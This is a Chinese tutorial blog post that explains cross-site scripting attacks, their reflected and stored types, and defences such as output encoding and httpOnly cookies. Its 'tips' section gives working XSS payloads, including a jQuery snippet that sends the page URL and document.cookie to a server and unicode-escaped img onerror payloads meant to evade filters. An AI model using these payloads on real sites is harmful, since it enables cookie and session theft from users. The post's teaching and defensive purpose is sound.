XSS攻擊

XSS(跨站腳本攻擊)原理

  • Xss(cross-site scripting)攻擊指的是攻擊者向web頁面插入惡意html標(biāo)簽或者javascript。當(dāng)用戶瀏覽此網(wǎng)頁時(shí),腳本就會在用戶的瀏覽器上執(zhí)行,從而達(dá)到攻擊者的目的,比如獲取用戶的Cookie,導(dǎo)航惡意網(wǎng)站,攜帶木馬等

XSS攻擊分類

反射型XSS
存儲型XSS
DOMXSS

XSS根源就是沒完全過濾客戶端提交的數(shù)據(jù)

反射型XSS

反射性XSS,又稱為非持久性XSS。這種攻擊方式的注入代碼是從目服務(wù)器通過錯(cuò)誤信息、搜索結(jié)果等等方式“反射”回來的。攻擊方式具有一次性。攻擊者通過電子電子郵件,圖片,鏈接等方式將包含注入腳本的惡意鏈接發(fā)送給給受害者,當(dāng)受害著點(diǎn)擊鏈接時(shí),注入腳本被輸?shù)侥繕?biāo)服務(wù)器上,然后服務(wù)器將注入的腳本“反射”到受害者的瀏覽器上,從而在該瀏覽器上執(zhí)行這段腳本


http://www.targetserver.com/search.php?input=<script>alert(document.cookie);</script>
  • 當(dāng)受害者點(diǎn)擊這個(gè)連接的時(shí)候,注入的腳本被當(dāng)作搜索的關(guān)鍵字發(fā)送到目標(biāo)服務(wù)器search.php頁面中,
  • 則在搜索結(jié)果的返回返回頁面中,這段腳本就被當(dāng)作搜索的關(guān)鍵字嵌入
  • 當(dāng)用戶得到搜索結(jié)果頁面后,這段腳本也得到了執(zhí)行。
  • 這就是反射性XSS攻擊的原理

存儲型XSS

  • 存儲型XSS,又稱為持久性CSS
  • 和反射性XSS最大的不同的就是,攻擊腳本將永久地存放在目標(biāo)服務(wù)器的數(shù)據(jù)庫中。
  • 這種攻擊多見于論壇,攻擊者在發(fā)帖的過程中,將惡意腳本連同正常信息一起注入到帖子的內(nèi)容中之中,隨著帖子被論壇服務(wù)器存儲下來,惡意腳本永久地存放在論壇服務(wù)器的后端數(shù)據(jù)庫中。
  • 當(dāng)其他用戶瀏覽這個(gè)被注入了惡意腳本的帖子的時(shí)候,惡意腳本則會在用戶的瀏覽器中的到執(zhí)行,從而受到了攻擊

XSS的小技巧

  • 通過簡單的script腳本制造XSS攻擊 容易被過濾
      $username = "<script>
          $.ajax({
              url: 'xss.php',
              dataType: 'jsonp',
              data: {
                'site': document.location.href,
                'cookie': document.cookie}
          });
      </script>";
  • 通過append制造的XSS攻擊 可以結(jié)合JQ的append和innerHTML append函數(shù)遇到script標(biāo)簽會執(zhí)行eval函數(shù),并且innerHTML會將unicode碼轉(zhuǎn)換為字符實(shí)體
   $username_info = "\u003cscript\u003ealert(document.cookie);";
  • 通過img標(biāo)簽的src屬性制造XSS攻擊 容易被過濾
   $imgsrc="\" onerror=\"javascript:alert(document.cookie);\"";
  • 通過img標(biāo)簽unicode同時(shí)配合onerror時(shí)間制造XSS攻擊 不容易被過濾,一般需要用JSON轉(zhuǎn)義
$username2="\u003cimg src=\'\' onerror=javascript:alert(\'okok\');\u003e";

  • 通過url制造XSS攻擊
http://www.targetserver.com/search.php?input=<script>alert(document.cookie);</script>
  • 通過input輸入框制造XSS工具
<input type="text" name="address1" value="" onfocus="alert(document.cookie)">
  • 通過eval函數(shù)知道XSS攻擊
eval("alert(1)"); 
  • 通過document.write('<script>alert(1)</script>')
document.write("<script>alert(1)</script>")

XSS出現(xiàn)的場景

1.1 比如:攻擊者在論壇中放一個(gè)看似安全的連接,騙取用戶點(diǎn)擊后,竊取cookie中的用戶私密信息;
1.2攻擊者在論壇中加一個(gè)惡意表單,當(dāng)用戶提交表單的時(shí)候哦,卻把信息傳送到攻擊者的服務(wù)器中,數(shù)據(jù)保存到數(shù)據(jù)中。而不是用戶原本以為的信任站點(diǎn)

XSS防范方法

  • 首先代碼里對用戶輸入的地方和變量都需要仔細(xì)檢查長度和對“<” “>” “;” “,”字符做過濾
    任何內(nèi)容寫到頁面之前都必須加以encode,避免不小心把html tag弄出來。這一層面做好,至少可以堵住超過一半的XSS攻擊

  • 避免直接在cookie中泄漏用戶隱私,例如email、密碼

  • 如果網(wǎng)站不需要再對瀏覽器對cookie進(jìn)行操作,可以服務(wù)端設(shè)置httpOnly來防止javaScript代碼直接獲取cookie

  • 盡量采用POST代替GET提交表單

參考連接

XSS跨站腳本攻擊過程最簡單演示
一次XSS攻擊過程
Web攻防之XSS,CSRF,SQL注入

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容